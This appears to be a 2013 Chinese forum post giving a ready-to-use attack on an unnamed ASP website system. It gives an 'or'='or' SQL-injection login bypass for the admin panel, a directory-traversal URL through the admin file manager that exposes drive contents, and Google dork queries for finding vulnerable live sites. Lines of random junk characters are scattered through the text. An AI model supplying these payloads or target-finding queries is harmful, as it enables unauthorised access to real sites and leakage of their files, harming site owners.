后台万能密码 'or'='or'
& h7 l2 V; K2 l i+ D* P$ F e& v
! s2 z6 a0 p# o% p1 y& i/ _9 h5 Q, K后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
- L) t9 l4 J: {admin/uploadfile.asp?currentFolder=/upfiles/../
. s+ @7 X; k- k6 @# z" R: g+ z7 X8 G/ I
漏洞证明：
. e! ~) j( t! p& Z9 b4 Q K4 D! z0 P) i0 E) k
谷歌：inurl:type.asp?id=1 新闻中心
/ z& \, V# y- U! @/ M或者 ：inurl:download_ok.asp?. ?9 _0 f# f% m, K/ {2 l( W
6 k9 J. j& X/ l1 ~0 \2 z |
发表于 2013-3-14 20:17:32
收藏
支持
反对